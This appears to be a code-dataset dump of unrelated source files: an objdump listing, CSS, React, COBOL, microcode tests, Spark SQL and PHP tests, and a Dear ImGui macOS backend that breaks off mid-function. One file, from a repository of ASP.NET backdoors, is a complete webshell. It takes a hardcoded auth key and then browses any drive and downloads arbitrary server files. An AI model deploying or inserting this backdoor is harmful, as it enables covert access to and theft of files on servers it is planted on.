80001032: ffff 0xffff
80001034: ffff 0xffff
80001036: ffff 0xffff
80001038: ffff 0xffff
8000103a: ffff 0xffff
8000103c <test_4_res>:
8000103c: ffff 0xffff
8000103e: ffff 0xffff
80001040: ffff 0xffff
80001042: ffff 0xffff
80001044: ffff 0xffff
80001046: ffff 0xffff
80001048: ffff 0xffff
8000104a: ffff 0xffff
8000104c: ffff 0xffff
8000104e: ffff 0xffff
80001050 <test_5_res>:
80001050: ffff 0xffff
80001052: ffff 0xffff
80001054: ffff 0xffff
80001056: ffff 0xffff
80001058: ffff 0xffff
8000105a: ffff 0xffff
8000105c: ffff 0xffff
8000105e: ffff 0xffff
80001060: ffff 0xffff
80001062: ffff 0xffff
...
| ObjDump | 1 | cbrune/VexRiscv | src/test/resources/asm/C.ADDI.elf.objdump | [
"MIT"
] |
.taro_chooselocation {
position: fixed;
display: flex;
flex-direction: column;
width: 100%;
height: 100%;
top: 100%;
background-color: #fff;
transition: ease top .3s;
z-index: 1;
}
.taro_chooselocation_bar {
display: flex;
flex: 0 95px;
height: 95px;
background-color: #ededed;
color: #090909;
}
.taro_chooselocation_back {
flex: 0 45px;
position: relative;
width: 33px;
height: 30px;
margin-top: 30px;
}
.taro_chooselocation_back::before {
content: '';
position: absolute;
top: 0;
left: 0;
display: block;
width: 0;
height: 0;
border: solid 15px;
border-top-color: transparent;
border-right-color: #090909;
border-bottom-color: transparent;
border-left-color: transparent;
}
.taro_chooselocation_back::after {
content: '';
position: absolute;
display: block;
width: 0;
height: 0;
top: 0;
left: 3px;
border: solid 15px;
border-top-color: transparent;
border-right-color: #ededed;
border-bottom-color: transparent;
border-left-color: transparent;
}
.taro_chooselocation_title {
flex: 1;
line-height: 95px;
padding-left: 30px;
}
.taro_chooselocation_submit {
width: 110px;
height: 60px;
color: #fff;
background-color: #08bf62;
border: none;
font-size: 28px;
line-height: 60px;
padding: 0;
margin: 18px 30px 0 0;
}
.taro_chooselocation_frame {
flex: 1;
} | CSS | 3 | qiuziz/taro-react-native | packages/taro-h5/src/api/location/style.css | [
"MIT"
] |
<%@ Page Language="C#" %>
<%@ Import namespace="System.Diagnostics"%>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Text" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script language="c#" runat="server">
private const string AUTHKEY = "woanware";
private const string HEADER = "<html>\n<head>\n<title>filesystembrowser</title>\n<style type=\"text/css\"><!--\nbody,table,p,pre,form input,form select {\n font-family: \"Lucida Console\", monospace;\n font-size: 88%;\n}\n-->\n</style></head>\n<body>\n";
private const string FOOTER = "</body>\n</html>\n";
/// <summary>
///
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
protected void Page_Load(object sender, EventArgs e)
{
try
{
if (Request.Params["authkey"] == null)
{
return;
}
if (Request.Params["authkey"] != AUTHKEY)
{
return;
}
if (Request.Params["operation"] != null)
{
if (Request.Params["operation"] == "download")
{
Response.Write(HEADER);
Response.Write(this.DownloadFile());
Response.Write(FOOTER);
}
else if (Request.Params["operation"] == "list")
{
Response.Write(HEADER);
Response.Write(this.OutputList());
Response.Write(FOOTER);
}
else
{
Response.Write(HEADER);
Response.Write("Unknown operation");
Response.Write(FOOTER);
}
}
else
{
Response.Write(HEADER);
Response.Write(this.OutputList());
Response.Write(FOOTER);
}
}
catch (Exception ex)
{
Response.Write(HEADER);
Response.Write(ex.Message);
Response.Write(FOOTER);
}
}
/// <summary>
///
/// </summary>
private string DownloadFile()
{
try
{
if (Request.Params["file"] == null)
{
return "No file supplied";
}
string file = Request.Params["file"];
if (File.Exists(file) == false)
{
return "File does not exist";
}
Response.ClearContent();
Response.ClearHeaders();
Response.Clear();
Response.ContentType = "application/octet-stream";
Response.AddHeader("Content-Disposition", "attachment; filename=" + Path.GetFileName(file));
Response.AddHeader("Content-Length", new FileInfo(file).Length.ToString());
Response.WriteFile(file);
Response.Flush();
Response.Close();
return "File downloaded";
}
catch (Exception ex)
{
return ex.ToString();
}
}
/// <summary>
///
/// </summary>
private string OutputList()
{
try
{
StringBuilder response = new StringBuilder();
string dir = string.Empty;
if (Request.Params["directory"] == null)
{
string[] tempDrives = Environment.GetLogicalDrives();
if (tempDrives.Length > 0)
{
for (int index = 0; index < tempDrives.Length; index++)
{
try
{
dir = tempDrives[index];
break;
}
catch (IOException){}
}
}
}
else
{
dir = Request.Params["directory"];
}
if (Directory.Exists(dir) == false)
{
return "Directory does not exist";
}
// Output the auth key textbox
response.Append("<table><tr>");
response.Append(@"<td><asp:TextBox id=""txtAuthKey"" runat=""server""></asp:TextBox></td>");
response.Append("</tr><tr><td> <td></tr></table>");
// Output the available drives
response.Append("<table><tr>");
response.Append("<td>Drives</td>");
string[] drives = Environment.GetLogicalDrives();
foreach (string drive in drives)
{
response.Append("<td><a href=");
response.Append("?directory=");
response.Append(drive);
response.Append("&authkey=" + Request.Params["authkey"]);
response.Append("&operation=list>");
response.Append(drive);
response.Append("</a></td>");
}
// Output the current path
response.Append("</tr></table><table><tr><td> </td></tr>");
response.Append("<tr><td>.. <a href=\"?directory=");
string parent = dir;
DirectoryInfo parentDirInfo = Directory.GetParent(dir);
if (parentDirInfo != null)
{
parent = parentDirInfo.FullName;
}
response.Append(parent);
response.Append("&authkey=" + Request.Params["authkey"]);
response.Append("&operation=list\">");
response.Append(parent);
response.Append("</a></td></tr></table><table>");
// Output the directories
System.IO.DirectoryInfo dirInfo = new System.IO.DirectoryInfo(dir);
foreach (System.IO.DirectoryInfo dirs in dirInfo.GetDirectories("*.*"))
{
response.Append("<tr><td>dir <a href=\"?directory=" + dirs.FullName + "&authkey=" + Request.Params["authkey"] + "&operation=list\">" + dirs.FullName + "</a></td></tr>");
}
// Output the files
dirInfo = new System.IO.DirectoryInfo(dir);
foreach (System.IO.FileInfo fileInfo in dirInfo.GetFiles("*.*"))
{
response.Append("<tr><td>file <a href=\"?file=" + fileInfo.FullName + "&authkey=" + Request.Params["authkey"] + "&operation=download\">" + fileInfo.FullName + "</a></td><td>");
response.Append(fileInfo.Length);
response.Append("</td></tr>");
}
response.Append("</table>");
return response.ToString();
}
catch (Exception ex)
{
return ex.ToString();
}
}
</script>
<!-- Created by Mark Woan (http://www.woanware.co.uk) -->
| ASP | 4 | laotun-s/webshell | aspx/asp.net-backdoors/filesystembrowser.aspx | [
"MIT"
] |
module MultiVirtual2
( module MultiVirtual2
, module MultiVirtual3
) where
import MultiVirtual3
bar :: Int
bar = 2
| PureScript | 2 | metaleap/purs-with-dump-coreimp | examples/docs/src/MultiVirtual2.purs | [
"BSD-3-Clause"
] |
import * as React from 'react';
import LoadingButton from '@mui/lab/LoadingButton';
import FormControlLabel from '@mui/material/FormControlLabel';
import Switch from '@mui/material/Switch';
import SaveIcon from '@mui/icons-material/Save';
import SendIcon from '@mui/icons-material/Send';
export default function FullWidthLoadingButtonsTransition() {
const [loading, setLoading] = React.useState(true);
function handleClick() {
setLoading(true);
}
return (
<div>
<FormControlLabel
sx={{
display: 'block',
}}
control={
<Switch
checked={loading}
onChange={() => setLoading(!loading)}
name="loading"
color="primary"
/>
}
label="Loading"
/>
<LoadingButton onClick={handleClick} loading={loading} variant="outlined" fullWidth>
Fetch data
</LoadingButton>
<LoadingButton
onClick={handleClick}
endIcon={<SendIcon />}
loading={loading}
loadingPosition="end"
variant="contained"
fullWidth
>
Send
</LoadingButton>
<LoadingButton
color="secondary"
onClick={handleClick}
loading={loading}
loadingPosition="start"
startIcon={<SaveIcon />}
variant="contained"
fullWidth
>
Save
</LoadingButton>
</div>
);
}
| JavaScript | 4 | dany-freeman/material-ui | test/regressions/fixtures/Button/FullWidthLoadingButtons.js | [
"MIT"
] |
IDENTIFICATION DIVISION.
PROGRAM-ID. FACTORIAL.
DATA DIVISION.
WORKING-STORAGE SECTION.
01 CMD-ARGS PIC X(38).
01 DECINUM PIC S9999v99.
01 NUM PIC S9(7).
01 FACTORIAL PIC 9(15) VALUE 1.
01 LEFT-JUST-NUMBER PIC X(16).
01 WS-TALLY1 PIC 99 VALUE 0.
01 CNT PIC 9(7) VALUE 1.
PROCEDURE DIVISION.
ACCEPT CMD-ARGS FROM COMMAND-LINE.
IF CMD-ARGS IS ALPHABETIC THEN
PERFORM ERROR-PARA.
* Convert CMDARGS to it's numeric value
COMPUTE DECINUM = FUNCTION NUMVAL(CMD-ARGS).
IF DECINUM < 0 THEN
PERFORM ERROR-PARA.
* Move the Decimal number to Non decimal number
MOVE DECINUM TO NUM
* If both are equal, then it was an integer
IF NUM IS EQUAL TO DECINUM THEN
IF NUM IS EQUAL TO 0 OR NUM IS EQUAL TO 1 THEN
DISPLAY 1
STOP RUN
ELSE
PERFORM CALC-FACT UNTIL CNT > NUM
* Process to left justify the number
INSPECT FACTORIAL TALLYING WS-TALLY1 FOR LEADING ZEROS
Move FACTORIAL (WS-TALLY1 + 1 :) TO LEFT-JUST-NUMBER
* Display the left justified result
DISPLAY LEFT-JUST-NUMBER
STOP RUN
ELSE
PERFORM ERROR-PARA.
CALC-FACT.
COMPUTE FACTORIAL = FACTORIAL * CNT
COMPUTE CNT = CNT + 1.
ERROR-PARA.
DISPLAY "Usage: please input a non-negative integer".
STOP RUN.
| COBOL | 3 | ChathuraSam/sample-programs | archive/c/cobol/factorial.cbl | [
"MIT"
] |
/* Copyright (c) 2017-2019 Netronome Systems, Inc. All rights reserved.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
;TEST_INIT_EXEC nfp-mem i32.ctm:0x80 0x00000000 0x00000000 0x00154d0a 0x0d1a6805
;TEST_INIT_EXEC nfp-mem i32.ctm:0x90 0xca306ab8 0x81000065 0x81000258 0x81000258
;TEST_INIT_EXEC nfp-mem i32.ctm:0xa0 0x81000258 0x81000258 0x81000258 0x81000258
;TEST_INIT_EXEC nfp-mem i32.ctm:0xb0 0x81000258 0x81000258 0x08004500 0x007ede06
;TEST_INIT_EXEC nfp-mem i32.ctm:0xc0 0x00004011 0x50640501 0x01020501 0x0101d87e
;TEST_INIT_EXEC nfp-mem i32.ctm:0xd0 0x12b5006a 0x00000800 0x00000000 0x0000404d
;TEST_INIT_EXEC nfp-mem i32.ctm:0xe0 0x8e6f97ad 0x001e101f 0x00010800 0x4500004c
;TEST_INIT_EXEC nfp-mem i32.ctm:0xf0 0x7a9f0000 0x40067492 0xc0a80164 0xd5c7b3a6
;TEST_INIT_EXEC nfp-mem i32.ctm:0x100 0xcb580050 0xea8d9a10 0xb3b6fc8d 0x5019ffff
;TEST_INIT_EXEC nfp-mem i32.ctm:0x110 0x51060000 0x97ae878f 0x08377a4d 0x85a1fec0
;TEST_INIT_EXEC nfp-mem i32.ctm:0x120 0x497a27c00 0x784648ea 0x31ab0538 0xac9ca16e
;TEST_INIT_EXEC nfp-mem i32.ctm:0x130 0x8a809e58 0xa6ffc15f
#include <aggregate.uc>
#include <stdmac.uc>
#include <pv.uc>
.reg pkt_vec[PV_SIZE_LW]
aggregate_zero(pkt_vec, PV_SIZE_LW)
move(pkt_vec[0], 0x98)
move(pkt_vec[2], 0x88)
move(pkt_vec[3], 0x62)
move(pkt_vec[4], 0x3fc0)
move(pkt_vec[5], (((14 + 4 + 4 + 4 + 4 + 4 + 4 + 4 + 4 + 4) << 24)
| ((14 + 4 + 4 + 4 + 4 + 4 + 4 + 4 + 4 + 4 + 20) << 16) |
((14 + 4 + 4 + 4 + 4 + 4 + 4 + 4 + 4 + 4 + 20 + 8 + 8 + 14) << 8) |
(14 + 4 + 4 + 4 + 4 + 4 + 4 + 4 + 4 + 4 + 20 + 8 + 8 + 14 + 20)))
| UnrealScript | 2 | pcasconnetronome/nic-firmware | test/datapath/pkt_vlan_vlan_vlan_vlan_vlan_vlan_vlan_vlan_vlan_ipv4_vxlan_tcp_x88.uc | [
"BSD-2-Clause"
] |
// CamIO 2: perf_mod.c
// Copyright (C) 2013: Matthew P. Grosvenor (matthew.grosvenor@cl.cam.ac.uk)
// Licensed under BSD 3 Clause, please see LICENSE for more details.
#include "../perf/perf_mon.h"
#include "../log/log.h"
make_perf_module(TSC test1[1]; TSC test2[2]; TSC test3[3];);
struct some_state {
ch_word state_var_1;
ch_word state_var_2;
perf_mod_generic_t* perf;
};
void init(struct some_state* state)
{
state->state_var_1 = 0;
state->state_var_2 = 1;
state->perf = get_perf_mod_ref;
}
void test1(struct some_state* state)
{
//perf_mod.test1[0].start_count += 1;
perf_mod_start(test1);
state->state_var_1++;
perf_mod_end(test1,0);
}
void test2(struct some_state* state)
{
perf_mod_start(test2);
if(state->state_var_1 % 2){
state->state_var_2++;
perf_mod_end(test2,0);
return;
}
state->state_var_1++;
perf_mod_end(test2,1);
}
void test3(struct some_state* state)
{
perf_mod_start(test3);
if(state->state_var_1 % 5 == 4){
state->state_var_2+= 7;
perf_mod_end(test3,0);
return;
}
if(state->state_var_1 % 7 == 1){
state->state_var_2++;
state->state_var_1++;
perf_mod_end(test3,1);
return;
}
state->state_var_2++;
perf_mod_end(test3,2);
}
USE_CH_LOGGER_DEFAULT;
int main(int argc, char** argv)
{
(void)argc;
(void)argv;
struct some_state state;
init(&state);
for(ch_word i = 0; i < 1000; i++){
test1(&state);
test2(&state);
test3(&state);
}
print_perf_stats(state.perf);
}
| XC | 4 | mgrosvenor/libchaste | tests/test_perf_mod.xc | [
"BSD-3-Clause"
] |
Mutation=AM
Mutation=NM
Mutation=SM
PronType=Contrastive
Relative=Rel
| Cycript | 0 | mlej8/MultilangStructureKD | EUD/data/feat_val.cy | [
"MIT"
] |
// Daniel Shiffman
// http://codingtra.in
// http://patreon.com/codingtrain
// Code for this video: https://youtu.be/Cl_Gjj80gPE
float yoff = 0.0;
void setup() {
size(400, 400);
}
void draw() {
background(0);
translate(width / 2, height / 2);
float radius = 150;
beginShape();
float xoff = 0;
for (float a = 0; a < TWO_PI; a += 0.1) {
float offset = map(noise(xoff, yoff), 0, 1, -25, 25);
float r = radius + offset;
float x = r * cos(a);
float y = r * sin(a);
vertex(x, y);
xoff += 0.1;
//ellipse(x, y, 4, 4);
}
endShape();
yoff += 0.01;
}
| Processing | 4 | aerinkayne/website | CodingChallenges/CC_036_Blobby/Processing/CC_036_Blobby/CC_036_Blobby.pde | [
"MIT"
] |
-- TRY_CAST string representing a valid fractional number to integral should truncate the number
SELECT TRY_CAST('1.23' AS int);
SELECT TRY_CAST('1.23' AS long);
SELECT TRY_CAST('-4.56' AS int);
SELECT TRY_CAST('-4.56' AS long);
-- TRY_CAST string which are not numbers to integral should return null
SELECT TRY_CAST('abc' AS int);
SELECT TRY_CAST('abc' AS long);
-- TRY_CAST empty string to integral should return null
SELECT TRY_CAST('' AS int);
SELECT TRY_CAST('' AS long);
-- TRY_CAST null to integral should return null
SELECT TRY_CAST(NULL AS int);
SELECT TRY_CAST(NULL AS long);
-- TRY_CAST invalid decimal string to integral should return null
SELECT TRY_CAST('123.a' AS int);
SELECT TRY_CAST('123.a' AS long);
-- '-2147483648' is the smallest int value
SELECT TRY_CAST('-2147483648' AS int);
SELECT TRY_CAST('-2147483649' AS int);
-- '2147483647' is the largest int value
SELECT TRY_CAST('2147483647' AS int);
SELECT TRY_CAST('2147483648' AS int);
-- '-9223372036854775808' is the smallest long value
SELECT TRY_CAST('-9223372036854775808' AS long);
SELECT TRY_CAST('-9223372036854775809' AS long);
-- '9223372036854775807' is the largest long value
SELECT TRY_CAST('9223372036854775807' AS long);
SELECT TRY_CAST('9223372036854775808' AS long);
-- TRY_CAST string to interval and interval to string
SELECT TRY_CAST('interval 3 month 1 hour' AS interval);
SELECT TRY_CAST('abc' AS interval);
-- TRY_CAST string to boolean
select TRY_CAST('true' as boolean);
select TRY_CAST('false' as boolean);
select TRY_CAST('abc' as boolean);
-- TRY_CAST string to date
SELECT TRY_CAST("2021-01-01" AS date);
SELECT TRY_CAST("2021-101-01" AS date);
-- TRY_CAST string to timestamp
SELECT TRY_CAST("2021-01-01 00:00:00" AS timestamp);
SELECT TRY_CAST("2021-101-01 00:00:00" AS timestamp); | SQL | 4 | akhalymon-cv/spark | sql/core/src/test/resources/sql-tests/inputs/try_cast.sql | [
"Apache-2.0"
] |
--TEST--
mb_check_encoding() - Circular references
--EXTENSIONS--
mbstring
--FILE--
<?php
ini_set('default_charset', 'UTF-8');
// Valid - Detects recursion
$str = "Japanese UTF-8 text. 日本語のUTF-8テキスト";
$arr = [1234, 12.34, TRUE, FALSE, NULL, $str, 'key'=>$str, $str=>'val'];
$tmp = &$arr;
$arr[] = $tmp;
var_dump(mb_check_encoding($str), mb_check_encoding($arr));
// Invalid - Return false due to short circuit check
$str = "Japanese UTF-8 text. 日本語\xFE\x01\x02のUTF-8テキスト";
$arr1 = [1234, 12.34, TRUE, FALSE, NULL, 'key'=>$str, $str=>'val'];
$tmp = &$arr1;
$arr1[] = $tmp;
$arr2 = [1234, 12.34, TRUE, FALSE, NULL, $str=>'val'];
$tmp = &$arr2;
$arr2[] = $tmp;
var_dump(mb_check_encoding($str), mb_check_encoding($arr1), mb_check_encoding($arr2));
?>
--EXPECTF--
Warning: mb_check_encoding(): Cannot not handle circular references in %s on line %d
bool(true)
bool(false)
bool(false)
bool(false)
bool(false)
| PHP | 3 | NathanFreeman/php-src | ext/mbstring/tests/mb_check_encoding_array.phpt | [
"PHP-3.01"
] |
// dear imgui: Platform Backend for OSX / Cocoa
// This needs to be used along with a Renderer (e.g. OpenGL2, OpenGL3, Vulkan, Metal..)
// [ALPHA] Early backend, not well tested. If you want a portable application, prefer using the GLFW or SDL platform Backends on Mac.
// Implemented features:
// [X] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'.
// [X] Platform: OSX clipboard is supported within core Dear ImGui (no specific code in this backend).
// [X] Platform: Gamepad support. Enabled with 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad'.
// [X] Platform: Keyboard arrays indexed using kVK_* codes, e.g. ImGui::IsKeyPressed(kVK_Space).
// You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this.
// Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need.
// If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp.
// Read online: https://github.com/ocornut/imgui/tree/master/docs
#import "imgui.h"
#import "imgui_impl_osx.h"
#import <Cocoa/Cocoa.h>
#import <mach/mach_time.h>
#import <Carbon/Carbon.h>
#import <GameController/GameController.h>
// CHANGELOG
// (minor and older changes stripped away, please see git history for details)
// 2021-12-13: *BREAKING CHANGE* Add NSView parameter to ImGui_ImplOSX_Init(). Generally fix keyboard support. Using kVK_* codes for keyboard keys.
// 2021-12-13: Add game controller support.
// 2021-09-21: Use mach_absolute_time as CFAbsoluteTimeGetCurrent can jump backwards.
// 2021-08-17: Calling io.AddFocusEvent() on NSApplicationDidBecomeActiveNotification/NSApplicationDidResignActiveNotification events.
// 2021-06-23: Inputs: Added a fix for shortcuts using CTRL key instead of CMD key.
// 2021-04-19: Inputs: Added a fix for keys remaining stuck in pressed state when CMD-tabbing into different application.
// 2021-01-27: Inputs: Added a fix for mouse position not being reported when mouse buttons other than left one are down.
// 2020-10-28: Inputs: Added a fix for handling keypad-enter key.
// 2020-05-25: Inputs: Added a fix for missing trackpad clicks when done with "soft tap".
// 2019-12-05: Inputs: Added support for ImGuiMouseCursor_NotAllowed mouse cursor.
// 2019-10-11: Inputs: Fix using Backspace key.
// 2019-07-21: Re-added clipboard handlers as they are not enabled by default in core imgui.cpp (reverted 2019-05-18 change).
// 2019-05-28: Inputs: Added mouse cursor shape and visibility support.
// 2019-05-18: Misc: Removed clipboard handlers as they are now supported by core imgui.cpp.
// 2019-05-11: Inputs: Don't filter character values before calling AddInputCharacter() apart from 0xF700..0xFFFF range.
// 2018-11-30: Misc: Setting up io.BackendPlatformName so it can be displayed in the About Window.
// 2018-07-07: Initial version.
@class ImFocusObserver;
@class KeyEventResponder;
// Data
static double g_HostClockPeriod = 0.0;
static double g_Time = 0.0;
static NSCursor* g_MouseCursors[ImGuiMouseCursor_COUNT] = {};
static bool g_MouseCursorHidden = false;
static bool g_MouseJustPressed[ImGuiMouseButton_COUNT] = {};
static bool g_MouseDown[ImGuiMouseButton_COUNT] = {};
static ImFocusObserver* g_FocusObserver = nil;
static KeyEventResponder* g_KeyEventResponder = nil;
// Undocumented methods for creating cursors.
@interface NSCursor()
+ (id)_windowResizeNorthWestSouthEastCursor;
+ (id)_windowResizeNorthEastSouthWestCursor;
+ (id)_windowResizeNorthSouthCursor;
+ (id)_windowResizeEastWestCursor;
@end
static void InitHostClockPeriod()
{
struct mach_timebase_info info;
mach_timebase_info(&info);
g_HostClockPeriod = 1e-9 * ((double)info.denom / (double)info.numer); // Period is the reciprocal of frequency.
}
static double GetMachAbsoluteTimeInSeconds()
{
return (double)mach_absolute_time() * g_HostClockPeriod;
}
static void resetKeys()
{
ImGuiIO& io = ImGui::GetIO();
memset(io.KeysDown, 0, sizeof(io.KeysDown));
io.KeyCtrl = io.KeyShift = io.KeyAlt = io.KeySuper = false;
}
/**
KeyEventResponder implements the NSTextInputClient protocol as is required by the macOS text input manager.
The macOS text input manager is invoked by calling the interpretKeyEvents method from the keyDown method.
Keyboard events are then evaluated by the macOS input manager and valid text input is passed back via the
insertText:replacementRange method.
This is the same approach employed by other cross-platform libraries such as SDL2:
https://github.com/spurious/SDL-mirror/blob/e17aacbd09e65a4fd1e166621e011e581fb017a8/src/video/cocoa/SDL_cocoakeyboard.m#L53
and GLFW:
https://github.com/glfw/glfw/blob/b55a517ae0c7b5127dffa79a64f5406021bf9076/src/cocoa_window.m#L722-L723
*/
@interface KeyEventResponder: NSView<NSTextInputClient>
@end
@implementation KeyEventResponder
- (void)viewDidMoveToWindow
{
// Ensure self is a first responder to receive the input events.
[self.window makeFirstResponder:self];
}
- (void)keyDown:(NSEvent*)event
{
// Call to the macOS input manager system.
[self interpretKeyEvents:@[event]];
}
- (void)insertText:(id)aString replacementRange:(NSRange)replacementRange
{
ImGuiIO& io = ImGui::GetIO();
NSString* characters;
if ([aString isKindOfClass:[NSAttributedString class]])
characters = [aString string];
else
characters = (NSString*)aString;
io.AddInputCharactersUTF8(characters.UTF8String);
}
- (BOOL)acceptsFirstResponder
{
return YES;
}
- (void)doCommandBySelector:(SEL)myselector
{
}
- (nullable NSAttributedString*)attributedSubstringForProposedRange:(NSRange)range actualRange:(nullable NSRangePointer)actualRange
{
return nil;
}
- (NSUInteger)characterIndexForPoint:(NSPoint)point
{
return 0;
}
- (NSRect)firstRectForCharacterRange:(NSRange)range actualRange:(nullable NSRangePointer)actualRange
{
return NSZeroRect;
}
- (BOOL)hasMarkedText
{
return NO;
}
- (NSRange)markedRange
{
return NSMakeRange(NSNotFound, 0);
}
- (NSRange)selectedRange
{
return NSMakeRange(NSNotFound, 0);
}
- (void)setMarkedText:(nonnull id)string selectedRange:(NSRange)selectedRange replacementRange:(NSRange)replacementRange
{
}
- (void)unmarkText
{
}
- (nonnull NSArray<NSAttributedStringKey>*)validAttributesForMarkedText
{
return @[];
}
@end
@interface ImFocusObserver : NSObject
- (void)onApplicationBecomeActive:(NSNotification*)aNotification;
- (void)onApplicationBecomeInactive:(NSNotification*)aNotification;
@end
@implementation ImFocusObserver
- (void)onApplicationBecomeActive:(NSNotification*)aNotification
{
ImGuiIO& io = ImGui::GetIO();
io.AddFocusEvent(true);
}
- (void)onApplicationBecomeInactive:(NSNotification*)aNotification
{
ImGuiIO& io = ImGui::GetIO();
io.AddFocusEvent(false);
// Unfocused applications do not receive input events, therefore we must manually
// release any pressed keys when application loses focus, otherwise they would remain
// stuck in a pressed state. https://github.com/ocornut/imgui/issues/3832
resetKeys();
}
@end
// Functions
bool ImGui_ImplOSX_Init(NSView* view)
{
ImGuiIO& io = ImGui::GetIO();
// Setup backend capabilities flags
io.BackendFlags |= ImGuiBackendFlags_HasMouseCursors; // We can honor GetMouseCursor() values (optional)
//io.BackendFlags |= ImGuiBackendFlags_HasSetMousePos; // We can honor io.WantSetMousePos requests (optional, rarely used)
//io.BackendFlags |= ImGuiBackendFlags_PlatformHasViewports; // We can create multi-viewports on the Platform side (optional)
//io.BackendFlags |= ImGuiBackendFlags_HasMouseHoveredViewport; // We can set io.MouseHoveredViewport correctly (optional, not easy)
io.BackendPlatformName = "imgui_impl_osx";
// Keyboard mapping. Dear ImGui will use those indices to peek into the io.KeyDown[] array.
io.KeyMap[ImGuiKey_Tab] = kVK_Tab;
io.KeyMap[ImGuiKey_LeftArrow] = kVK_LeftArrow;
io.KeyMap[ImGuiKey_RightArrow] = kVK_RightArrow;
io.KeyMap[ImGuiKey_UpArrow] = kVK_UpArrow;
io.KeyMap[ImGuiKey_DownArrow] = kVK_DownArrow;
io.KeyMap[ImGuiKey_PageUp] = kVK_PageUp;
io.KeyMap[ImGuiKey_PageDown] = kVK_PageDown;
io.KeyMap[ImGuiKey_Home] = kVK_Home;
io.KeyMap[ImGuiKey_End] = kVK_End;
io.KeyMap[ImGuiKey_Insert] = kVK_F13;
io.KeyMap[ImGuiKey_Delete] = kVK_ForwardDelete;
io.KeyMap[ImGuiKey_Backspace] = kVK_Delete;
io.KeyMap[ImGuiKey_Space] = kVK_Space;
io.KeyMap[ImGuiKey_Enter] = kVK_Return;
io.KeyMap[ImGuiKey_Escape] = kVK_Escape;
io.KeyMap[ImGuiKey_KeyPadEnter] = kVK_ANSI_KeypadEnter;
io.KeyMap[ImGuiKey_A] = kVK_ANSI_A;
io.KeyMap[ImGuiKey_C] = kVK_ANSI_C;
io.KeyMap[ImGuiKey_V] = kVK_ANSI_V;
io.KeyMap[ImGuiKey_X] = kVK_ANSI_X;
io.KeyMap[ImGuiKey_Y] = kVK_ANSI_Y;
io.KeyMap[ImGuiKey_Z] = kVK_ANSI_Z;
// Load cursors. Some of them are undocumented.
g_MouseCursorHidden = false;
g_MouseCursors[ImGuiMouseCursor_Arrow] = [NSCursor arrowCursor];
g_MouseCursors[ImGuiMouseCursor_TextInput] = [NSCursor IBeamCursor];
g_MouseCursors[ImGuiMouseCursor_ResizeAll] = [NSCursor closedHandCursor];
g_MouseCursors[ImGuiMouseCursor_Hand] = [NSCursor pointingHandCursor];
g_MouseCursors[ImGuiMouseCursor_NotAllowed] = [NSCursor operationNotAllowedCursor];
g_MouseCursors[ImGuiMouseCursor_ResizeNS] = [NSCursor respondsToSelector:@selector(_windowResizeNorthSouthCursor)] ? [NSCursor _windowResizeNorthSouthCursor] : [NSCursor resizeUpDownCursor];
g_MouseCursors[ImGuiMouseCursor_ResizeEW] = [NSCursor respondsToSelector:@selector(_windowResizeEastWestCursor)] ? [NSCursor _windowResizeEastWestCursor] : [NSCursor resizeLeftRightCursor];
g_MouseCursors[ImGuiMouseCursor_ResizeNESW] = [NSCursor respondsToSelector:@selector(_windowResizeNorthEastSouthWestCursor)] ? [NSCursor _windowResizeNorthEastSouthWestCursor] : [NSCursor closedHandCursor];
g_MouseCursors[ImGuiMouseCursor_ResizeNWSE] = [NSCursor respondsToSelector:@selector(_windowResizeNorthWestSouthEastCursor)] ? [NSCursor _windowResizeNorthWestSouthEastCursor] : [NSCursor closedHandCursor];
// Note that imgui.cpp also include default OSX clipboard handlers which can be enabled
// by adding '#define IMGUI_ENABLE_OSX_DEFAULT_CLIPBOARD_FUNCTIONS' in imconfig.h and adding '-framework ApplicationServices' to your linker command-line.
// Since we are already in ObjC land here, it is easy for us to add a clipboard handler using the NSPasteboard api.
io.SetClipboardTextFn = [](void*, const char* str) -> void
{
NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
[pasteboard declareTypes:[NSArray arrayWithObject:NSPasteboardTypeString] owner:nil];
[pasteboard setString:[NSString stringWithUTF8String:str] forType:NSPasteboardTypeString];
};
io.GetClipboardTextFn = [](void*) -> const char*
{
NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
NSString* available = [pasteboard availableTypeFromArray: [NSArray arrayWithObject:NSPasteboardTypeString]];
if (![available isEqualToString:NSPasteboardTypeString])
return NULL;
NSString* string = [pasteboard stringForType:NSPasteboardTypeString];
if (string == nil)
return NULL;
const char* string_c = (const char*)[string UTF8String];
size_t string_len = strlen(string_c);
static ImVector<char> s_clipboard;
s_clipboard.resize((int)string_len + 1);
strcpy(s_clipboard.Data, string_c);
return s_clipboard.Data;
};
g_FocusObserver = [[ImFocusObserver alloc] init];
[[NSNotificationCenter defaultCenter] addObserver:g_FocusObserver
selector:@selector(onApplicationBecomeActive:)
name:NSApplicationDidBecomeActiveNotification
object:nil];
[[NSNotificationCenter defaultCenter] addObserver:g_FocusObserver
selector:@selector(onApplicationBecomeInactive:)
name:NSApplicationDidResignActiveNotification
object:nil];
// Add the NSTextInputClient to the view hierarchy,
// to receive keyboard events and translate them to input text.
g_KeyEventResponder = [[KeyEventResponder alloc] initWithFrame:NSZeroRect];
[view addSubview:g_KeyEventResponder];
return true;
}
void ImGui_ImplOSX_Shutdown()
{
g_FocusObserver = NULL;
}
static void ImGui_ImplOSX_UpdateMouseCursorAndButtons()
{
// Update buttons
ImGuiIO& io = ImGui::GetIO();
for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++)
{
// If a mouse press event came, always pass it as "mouse held this frame", so we don't miss click-release events that are shorter than 1 frame.
io.MouseDown[i] = g_MouseJustPressed[i] || g_MouseDown[i];
g_MouseJustPressed[i] = false;
}
if (io.ConfigFlags & ImGuiConfigFlags_NoMouseCursorChange)
return;
ImGuiMouseCursor imgui_cursor = ImGui::GetMouseCursor();
if (io.MouseDrawCursor || imgui_cursor == ImGuiMouseCursor_None)
{
